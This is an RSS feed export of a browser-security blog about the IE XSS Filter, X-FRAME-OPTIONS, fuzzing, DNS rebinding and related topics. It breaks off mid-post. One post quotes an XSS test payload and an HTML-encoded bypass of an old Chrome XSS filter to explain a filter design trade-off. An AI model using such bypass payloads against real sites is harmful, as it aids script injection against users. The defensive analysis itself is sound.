<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>random dross</title><link>http://blogs.msdn.com/b/dross/</link><description>Web security and beyond...</description><dc:language>en-US</dc:language><generator>Telligent Evolution Platform Developer Build (Build: 5.6.50428.7875)</generator><item><title>Hyperlink Spoofing and the Modern Web</title><link>http://blogs.msdn.com/b/dross/archive/2012/04/26/hyperlink-spoofing-and-the-modern-web.aspx</link><pubDate>Thu, 26 Apr 2012 19:11:22 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10298176</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=10298176</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2012/04/26/hyperlink-spoofing-and-the-modern-web.aspx#comments</comments><description>&lt;p&gt;Over the past six months or so I&amp;rsquo;ve been looking at hyperlink spoofing threats as a bit of a part-time project.&amp;nbsp; I&amp;rsquo;ve primarily been interested in how the design of social networking platforms impacts the ability of their users to make good trust decisions regarding hyperlinks.&amp;nbsp; The interaction between social networking services and short-link services has also shown to be worthy of some analysis.&lt;/p&gt;
&lt;p&gt;While the issues in this space don&amp;rsquo;t tend to rank highly &amp;ldquo;on a scale of one to l33t,&amp;rdquo; I found it to be an interesting area because existing design practices appear inconsistent and suboptimal with regard to security.&lt;/p&gt;
&lt;p&gt;As social networking platforms are changing very rapidly, the specific examples in this write-up will become dated quickly, if that isn&amp;rsquo;t already the case.&amp;nbsp; I'm more hopeful that the enumeration of issue types as well as the conclusions / recommendations in this write-up will stay relevant in the future.&lt;/p&gt;
&lt;p&gt;&lt;a title="Hyperlink Spoofing and the Modern Web" href="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-47-30/5340.Hyperlink-Spoofing-and-the-Modern-Web-_2800_final_2900_.pdf"&gt;Hyperlink Spoofing and the Modern Web&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10298176" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category></item><item><title>Creating XSS</title><link>http://blogs.msdn.com/b/dross/archive/2012/04/25/creating-xss.aspx</link><pubDate>Wed, 25 Apr 2012 21:56:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10297819</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=10297819</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2012/04/25/creating-xss.aspx#comments</comments><description>&lt;p&gt;I&amp;rsquo;ve seen &lt;a title="MS10-002" href="http://technet.microsoft.com/en-us/security/bulletin/MS10-002"&gt;MS10-002&lt;/a&gt; pop up a few times in discussion recently.&amp;nbsp; This is a reference to the legendary issue that David Lindsay and Eduardo Vela Nava discovered, where neutering for a given &lt;a title="heuristic" href="http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx"&gt;heuristic&lt;/a&gt; actually enabled XSS, assuming attacker control of data inside a properly quoted HTML attribute.&amp;nbsp;&amp;nbsp;I'd like to share&amp;nbsp;some&amp;nbsp;detail&amp;nbsp;about the tools the&amp;nbsp;XSS Filter has at its disposal as they&amp;nbsp;apply to defeating this sort of attack in a general sense.&lt;/p&gt;
&lt;p&gt;The XSS Filter&amp;rsquo;s approach has always relied on taking great care not to neuter characters which can alter context.&amp;nbsp; For example, if we were to neuter a double quote, that could have the unintended side-effect of activating script otherwise safely contained within a javascript string in some other part of the page.&amp;nbsp; The bug addressed&amp;nbsp;by&amp;nbsp;&lt;a title="MS10-002" href="http://technet.microsoft.com/en-us/security/bulletin/MS10-002"&gt;MS10-002&lt;/a&gt; was not &lt;em&gt;quite&lt;/em&gt; as obvious, but along the same lines.&lt;/p&gt;
&lt;p&gt;Neutering is an attempt to cleverly target XSS as it may manifest on a given page.&amp;nbsp; But one thing that often goes unnoticed is that the XSS Filter is actually empowered to take various different approaches to mitigate XSS.&amp;nbsp; And it can do this on a per-heuristic basis.&amp;nbsp; In other words, given any identified issue with the neutering approach for a heuristic, we are able to choose from various different possible mitigations (Eg: &lt;a title="mode=block" href="http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx"&gt;mode=block&lt;/a&gt;), specifically applied for that heuristic.&amp;nbsp; In that way it is possible to disable attacks with a larger hammer as necessary, without forcing the XSS Filter to apply in any situations where it didn&amp;rsquo;t apply before.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10297819" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>XSS Filter Tech: Later is Better?</title><link>http://blogs.msdn.com/b/dross/archive/2011/12/20/xss-filter-tech-later-is-better.aspx</link><pubDate>Tue, 20 Dec 2011 18:31:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10249672</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=10249672</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2011/12/20/xss-filter-tech-later-is-better.aspx#comments</comments><description>&lt;p&gt;Arcane design decisions can have subtle but important effects on the characteristics of a security mitigation.&amp;nbsp; Consider how client-side XSS filtering might examine a given HTTP response for evidence of a reflected attack.&amp;nbsp; Is it more sensible to examine the response before or after that response is processed in the browser?&lt;/p&gt;
&lt;p&gt;An easy answer might be that it&amp;rsquo;s better to examine the response &lt;em&gt;after&lt;/em&gt; processing, as this is when the true meaning of the response is most apparent.&amp;nbsp; While this makes sense intuitively, it turns out that later matching may be considered suboptimal.&amp;nbsp; Let&amp;rsquo;s explore why.&lt;/p&gt;
&lt;h4&gt;Transformations Everywhere&lt;/h4&gt;
&lt;p&gt;As suggested above, modern client-side XSS filtering techniques attempt to identify request data that has been reflected into the response.&amp;nbsp; Transformations on this data will always have the potential to reduce a filter&amp;rsquo;s ability to successfully make a match.&amp;nbsp; Some transformations may occur at the server, and since the XSS filter has no way of preventing this, it must compensate.&amp;nbsp; XSS filters do in fact &lt;a title="XSS Filter Improvements in IE8 RC1" href="http://blogs.technet.com/b/srd/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx"&gt;compensate for server-side transformations&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But at the same time, transformations occur on the client side as a response is parsed and makes it way out to the HTML DOM and/or script engine.&amp;nbsp; For a filter that delays matching until after a response is processed by the browser, transformations will apply prior to matching and can inhibit successful matching.&amp;nbsp; This manifests as a filter bypass scenario, or false negative.&lt;/p&gt;
&lt;p&gt;In fact, transformations that may occur in various places within the browser codebase are not generally regarded as security related, so they may get introduced, change, or disappear over time without any warning.&lt;/p&gt;
&lt;h4&gt;Example&lt;/h4&gt;
&lt;p&gt;Consider the following filter bypass scenario that affected a very old version of Chrome (4.0.249.89):&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;Benchmark:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;foo?x=&amp;lt;IFRAME%20src='javascript:alert(1)'&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;Bypass:&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;foo?x=&amp;lt;IFRAME%20src='javascript:alert%26%23x25;281)'&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This issue was reported several years ago and subsequently resolved.&lt;/p&gt;
&lt;p&gt;Observe how the open-parenthesis is replaced with its HTML encoding, &lt;span style="font-family: courier new,courier;"&gt;&amp;amp;#x25;&lt;/span&gt;.&amp;nbsp; Because browsers automatically HTML-decode attributes, the &lt;span style="font-family: courier new,courier;"&gt;&amp;amp;#x25;&lt;/span&gt; is able to substitute for open-parenthesis in this context.&amp;nbsp; But given a post-parsing matching process, the &lt;span style="font-family: courier new,courier;"&gt;&amp;amp;#x25;&lt;/span&gt; present in the URL will no longer match the open-parenthesis present in the actual script!&lt;/p&gt;
&lt;h4&gt;Conclusions&lt;/h4&gt;
&lt;p&gt;It is not simply a matter of later matching being inherently &amp;ldquo;better.&amp;rdquo;&amp;nbsp; As you can see from the example above, there is a real tradeoff &amp;ndash; while a late-matching technique may be able to more specifically target an attack for disablement, it loses some ability to accurately &lt;em&gt;identify&lt;/em&gt; an attack.&lt;/p&gt;
&lt;p&gt;In any manifestation of this problem, it would seem that there are several approaches to mitigate the threat:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Move the matching process to occur before parsing.&amp;nbsp; This may be difficult if matching is entirely context-dependent.&amp;nbsp; Eg: If there are no &lt;a title="IE 8 XSS Filter Architecture / Implementation" href="http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx"&gt;regular expression heuristics&lt;/a&gt; to identify what an attack actually looks like, reflection detected before parsing may be too generic to flag as a potential attack.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Simulate HTML encoding behavior in matching.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Change the browser to remove automatic HTML decoding in attributes.&amp;nbsp; Unfortunately though this is a bit of a non-starter.&amp;nbsp; The automatic HTML decoding is supported cross-browser and removing it would trigger application compatibility issues.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Taking an early-matching approach, the Internet Explorer XSS Filter still must account for the behavior of the HTML parser so as to properly identify attacks.&amp;nbsp; It does this in a way that is designed into its core architecture &amp;ndash; using a flexible regular expression heuristic.&lt;/p&gt;
&lt;p&gt;Refining a regular expression has a number of advantages relative to alternative approaches to addressing bypass scenarios like the one described above.&amp;nbsp; Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Straightforward implementation and testing&lt;/li&gt;
&lt;li&gt;Consistency across fixes&lt;/li&gt;
&lt;li&gt;Easier to reason about overall fix approach&lt;/li&gt;
&lt;li&gt;No code churn outside the core filter logic&lt;/li&gt;
&lt;li&gt;Less likelihood of a performance penalty&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, the &amp;ldquo;later is better&amp;rdquo; argument fails to recognize that &lt;em&gt;matching&lt;/em&gt; can be decoupled from &lt;em&gt;blocking&lt;/em&gt;.&amp;nbsp; It is asserted that &lt;em&gt;matching&lt;/em&gt; should occur as &lt;strong&gt;early as possible&lt;/strong&gt; so as to avoid any transformations that may be observed as a response proceeds through the browser&amp;rsquo;s internals.&amp;nbsp; For the purposes of accuracy, &lt;em&gt;blocking&lt;/em&gt; can be performed later in the process, as necessary, when the browser has determined the semantics of any suspect response fragment.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10249672" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Enforcing Standards Mode with X-FRAME-OPTIONS</title><link>http://blogs.msdn.com/b/dross/archive/2011/06/30/enforcing-standards-mode-with-x-frame-options.aspx</link><pubDate>Thu, 30 Jun 2011 23:39:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10182139</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=10182139</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2011/06/30/enforcing-standards-mode-with-x-frame-options.aspx#comments</comments><description>&lt;p&gt;&lt;a title="Reduced attack surface in Standards Mode" href="http://blogs.msdn.com/b/ie/archive/2008/10/16/ending-expressions.aspx"&gt;Reduced attack surface in Standards Mode&lt;/a&gt; is a good step forward for &lt;a title="XSS-Focused Attack Surface Reduction" href="http://blogs.msdn.com/b/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx"&gt;XSS-Focused Attack Surface Reduction&lt;/a&gt; in the browser.&amp;nbsp; But it&amp;rsquo;s necessary to prevent framing as a prerequisite to &lt;em&gt;enforced&lt;/em&gt; Standards Mode.&lt;/p&gt;
&lt;p&gt;Putting this into practice is pretty simple.&amp;nbsp; First, you&amp;rsquo;ll need a &lt;a title="Standards Mode DOCTYPE and document compatibility header" href="http://msdn.microsoft.com/en-us/library/cc288325(v=vs.85).aspx"&gt;Standards Mode DOCTYPE and document compatibility header&lt;/a&gt;&amp;nbsp;on your web content, eg:&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #800000;"&gt;&lt;code&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;nbsp; &amp;lt;!-- Enable IE9 Standards mode --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;nbsp; &amp;lt;meta http-equiv="X-UA-Compatible" content="IE=9" &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;hellip;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new,courier;"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Then enable &lt;a title="X-FRAME-OPTIONS" href="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx"&gt;X-FRAME-OPTIONS&lt;/a&gt; by setting the appropriate HTTP response header:&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #800000; font-family: courier new,courier;"&gt;X-FRAME-OPTIONS: DENY&lt;/span&gt;&lt;br /&gt;&amp;hellip;or&amp;hellip;&lt;br /&gt;&lt;span style="color: #800000; font-family: courier new,courier;"&gt;X-FRAME-OPTIONS: SAMEORIGIN&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Now Standards Mode will be enabled and framing-induced&amp;nbsp;"mode inheritance" will be prevented.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10182139" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Fuzzing for Design Bugs?</title><link>http://blogs.msdn.com/b/dross/archive/2010/09/03/fuzzing-for-design-bugs.aspx</link><pubDate>Fri, 03 Sep 2010 17:29:40 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10057851</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=10057851</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2010/09/03/fuzzing-for-design-bugs.aspx#comments</comments><description>&lt;p&gt;Have you ever heard someone ask &lt;em&gt;&amp;ldquo;Do we need to fuzz this?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This question comes up quite a bit in the context of reactive security work.&amp;nbsp; There are basically two traditional answers: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Yes.&lt;/strong&gt;&lt;br /&gt;When you&amp;rsquo;re attempting to find variants of something like a memory corruption bug, fuzzing is your best friend.&amp;nbsp; It&amp;rsquo;s a no-brainer.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No.&amp;nbsp; Er, wait.&amp;nbsp; Sure, uh, go for it...&lt;/strong&gt;&lt;br /&gt;When you&amp;rsquo;re attempting to find variants of something that looks more like a design bug, fuzzing might at first seem silly.&amp;nbsp; The answer becomes less clear after thinking about it a little more.&amp;nbsp; With 20/20 hindsight you can usually think up a way in which any particular bug might be caught by an automated process.&amp;nbsp; Would that automated process fit a loose definition of fuzzing?&amp;nbsp; Possibly.&lt;br /&gt;&lt;br /&gt;This intellectual discussion usually doesn&amp;rsquo;t go very far.&amp;nbsp; This is because of a general perception that &lt;em&gt;fuzzing&lt;/em&gt; for design bugs just isn&amp;rsquo;t going to deliver the ROI that creative hacking, code analysis, etc. can provide in a given period of time.&amp;nbsp; But it&amp;rsquo;s very hard to say that this is true in all cases.&amp;nbsp; Hence the vague answer above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-size: medium;"&gt;Example&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s one simple scenario where a technique that could surely be considered &lt;em&gt;fuzzing&lt;/em&gt; (and was specifically designed to identify design bugs) did yield a good result.&lt;/p&gt;
&lt;p&gt;While testing the Internet Explorer XSS Filter prototype in 2007, &lt;a href="http://skypher.com" title="SkyLined"&gt;SkyLined&lt;/a&gt; identified that classic ASP would simply drop invalidly encoded character sequences from HTTP request querystring parameters prior to the HTTP response formation.&amp;nbsp; This resulted in a situation where our filter could not properly match requests to responses and thus the filter could be bypassed for apps on classic ASP.&lt;/p&gt;
&lt;p&gt;The XSS Filter was adapted to account for this situation and test cases were created.&lt;/p&gt;
&lt;p&gt;Later we developed a fuzzer capable of slightly modifying test cases before running them.&amp;nbsp; As you may imagine, it&amp;rsquo;s not hard for a simple fuzzer to generate various forms of invalidly encoded character sequences.&amp;nbsp;&amp;nbsp;As it turned out,&amp;nbsp;our fix for the encoding issue missed a corner case that our fuzzer was able to trigger.&amp;nbsp; We were then able to fix the variant and add a new test case to cover any future regressions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;Thoughts?&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Fuzzing for design bugs is not a new idea.&amp;nbsp; Just in regards to XSS, it was &lt;a href="http://www.phreedom.org/presentations/blackbox-reversing-of-xss-filters/blackbox-reversing-of-xss-filters.pdf" title="Blackbox Reversing of XSS Filters"&gt;mentioned by Alexander Sotirov in 2008&lt;/a&gt;, and of course the &lt;a href="http://sla.ckers.org" title="sla.ckers.org"&gt;sla.ckers&lt;/a&gt; are well known for putting this approach into practice.&amp;nbsp; What is most interesting to me right now is the question of when / how to apply fuzzing style techniques for design bugs in general.&amp;nbsp; I don&amp;rsquo;t recall ever having seen a really good answer to this question.&lt;/p&gt;
&lt;p&gt;So I would be interested in your thoughts on classes of design defects that are particularly amenable to some form of fuzzing, as well as classes of design defects where fuzzing is just a waste of time.&amp;nbsp; (Some other questions: What actions must a DOM crawler have to perform in order to be a true &lt;em&gt;fuzzer&lt;/em&gt;, and does it even matter if it&amp;rsquo;s called a fuzzer or not?)&lt;/p&gt;
&lt;p&gt;Feel free to &lt;a href="http://twitter.com/randomdross" title="randomdross on Twitter"&gt;hit me up on Twitter&lt;/a&gt; or leave a comment on this blog.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10057851" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Happy 10th birthday Cross-Site Scripting!</title><link>http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx</link><pubDate>Tue, 15 Dec 2009 18:50:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9937199</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9937199</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx#comments</comments><description>&lt;P&gt;On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers:&lt;/P&gt;
&lt;P&gt;&lt;FONT color=blue&gt;Unauthorized Site Scripting&lt;BR&gt;Unofficial Site Scripting&lt;BR&gt;URL Parameter Script Insertion&lt;BR&gt;Cross Site Scripting&lt;BR&gt;Synthesized Scripting&lt;BR&gt;Fraudulent Scripting&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The next day there was consensus – Cross Site Scripting.&amp;nbsp; In retrospect, I think this was a good choice given the options on the table.&lt;/P&gt;
&lt;P&gt;By early February there was a coordinated advisory release with CERT: &lt;BR&gt;&lt;A href="http://www.cert.org/advisories/CA-2000-02.html" mce_href="http://www.cert.org/advisories/CA-2000-02.html"&gt;http://www.cert.org/advisories/CA-2000-02.html&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;The research leading up to the disclosure dates to mid-December 1999 – exactly ten years ago.&lt;/P&gt;
&lt;P&gt;Over the years, the definition of Cross-Site Scripting has expanded somewhat.&amp;nbsp; What we once referred to as simply “Cross Site Scripting” might now be classified as the reflected / non-persistent form of the attack.&lt;/P&gt;
&lt;P&gt;Let's hope that ten years from now&amp;nbsp;we'll&amp;nbsp;be&amp;nbsp;celebrating the &lt;EM&gt;death&lt;/EM&gt;, not the birth, of Cross-Site Scripting!&lt;BR&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9937199" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Current Thoughts on DNS Rebinding</title><link>http://blogs.msdn.com/b/dross/archive/2009/11/17/current-thoughts-on-dns-rebinding.aspx</link><pubDate>Tue, 17 Nov 2009 20:38:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9923849</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9923849</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/11/17/current-thoughts-on-dns-rebinding.aspx#comments</comments><description>&lt;P&gt;RSnake and Dan Kaminsky have been &lt;A title=talking href="http://ha.ckers.org/blog/20091116/session-fixation-via-dns-rebinding/" mce_href="http://ha.ckers.org/blog/20091116/session-fixation-via-dns-rebinding/"&gt;talking&lt;/A&gt; about &lt;A title="session fixation" href="http://en.wikipedia.org/wiki/Session_fixation" mce_href="http://en.wikipedia.org/wiki/Session_fixation"&gt;session fixation&lt;/A&gt; via &lt;A title="DNS Rebinding" href="http://crypto.stanford.edu/dns/" mce_href="http://crypto.stanford.edu/dns/"&gt;DNS Rebinding&lt;/A&gt;.&amp;nbsp; As you may recall, an attacker can't abuse your Foo.com cookies in a rebinding attack, though they can walk your browser around Foo.com content and control the session.&amp;nbsp; The gist of what these guys are talking about is how the attacker can log the victim into the &lt;EM&gt;attacker's&lt;/EM&gt; session.&amp;nbsp; Interesting stuff...&lt;/P&gt;
&lt;P&gt;Dan and RSnake are big on server-side Host header validation as an anti-rebinding strategy.&amp;nbsp; Every time I starting thinking about this, here's my basic train of thought:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Host header validation is simple, and simple is good.&amp;nbsp; If you implement Host header validation at the server, it just works.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;But what about everybody who &lt;EM&gt;doesn't&lt;/EM&gt; conform?&amp;nbsp; Most web sites don't conform today, and if they do it's not particularly intentional.&amp;nbsp; I'd hate to see webappsec spend the next 10 years beating up the web properties that don't confirm.&amp;nbsp; We'd inch the web towards real security in a sort of hostile manner.&amp;nbsp; There must be a better way...&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;So coming at this from the other side -- what can the client-side do to help?&amp;nbsp; The hope there is to not only empower the user to verify their rebinding defenses on any given site, but also to put leverage on the server-side to implement Host header validation (to avoid getting blocked at the more secure clients).&amp;nbsp; As of now, a simple, practical, and comprehensive client-side anti-rebinding strategy remains elusive.&amp;nbsp; And if client-enforced Host header validation requires a server-side tweak, say a Host header on the response, that puts us back to the problem in #2 above.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;So with all of this, why isn’t "use SSL" the simple anti-rebinding strategy?&amp;nbsp; In the near term, is there really a better answer?&lt;BR&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;Now, all this being said, I think the Rebinding threat&amp;nbsp;is still yet to be fully defined.&amp;nbsp; It's possible that some interesting anti-rebinding strategies we see will develop out of a need to address specific attack scenarios identified over time.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9923849" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/DNS+Rebinding/">DNS Rebinding</category></item><item><title>Thoughts on Legacy Character Sets</title><link>http://blogs.msdn.com/b/dross/archive/2009/11/03/thoughts-on-legacy-character-sets.aspx</link><pubDate>Tue, 03 Nov 2009 21:21:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9917000</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9917000</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/11/03/thoughts-on-legacy-character-sets.aspx#comments</comments><description>&lt;P&gt;One of the things I have taken from the IE XSS Filter project is a healthy fear of legacy character sets.&amp;nbsp; If you've followed &lt;A title="Chris Weber" href="http://www.lookout.net/" mce_href="http://www.lookout.net/"&gt;Chris Weber&lt;/A&gt;, &lt;A title="Scott Stender" href="http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Stender.pdf" mce_href="http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Stender.pdf"&gt;Scott Stender&lt;/A&gt;, or &lt;A title="Yosuke Hasegawa" href="http://utf-8.jp/" mce_href="http://utf-8.jp/"&gt;Yosuke Hasegawa&lt;/A&gt;’s work, you know that even Unicode is...&amp;nbsp; interesting.&amp;nbsp; But at least in the Unicode world there are standards and evolving best practices dictating how clients and servers 